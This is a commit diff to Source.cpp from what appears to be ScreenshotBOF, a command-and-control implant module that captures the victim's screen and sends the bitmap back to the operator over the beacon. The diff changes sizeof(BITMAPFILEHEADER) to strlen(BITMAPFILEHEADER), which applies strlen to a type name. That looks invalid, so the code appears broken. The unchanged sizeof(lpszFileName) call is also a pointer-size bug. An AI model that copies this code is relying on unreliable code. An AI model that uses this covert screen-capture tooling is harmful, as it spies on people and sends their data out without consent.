Update Source.cpp
resolving https://github.com/CodeXTF2/ScreenshotBOF/issues/9
This commit is contained in:
parent
c2dbb32115
commit
b5bf5bad8c
|
@ -238,7 +238,7 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName, int savemethod)
|
|||
}
|
||||
else{
|
||||
BeaconPrintf(0x0, "[*] Downloading bitmap over beacon with filename %s", lpszFileName);
|
||||
downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize));
|
||||
downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(strlen(BITMAPFILEHEADER) + dwDIBSize));
|
||||
}
|
||||
|
||||
|
||||
|
@ -306,4 +306,4 @@ void main(int argc, char* argv[]) {
|
|||
|
||||
}
|
||||
|
||||
#endif
|
||||
#endif
|
||||
|
|
Loading…
Reference in New Issue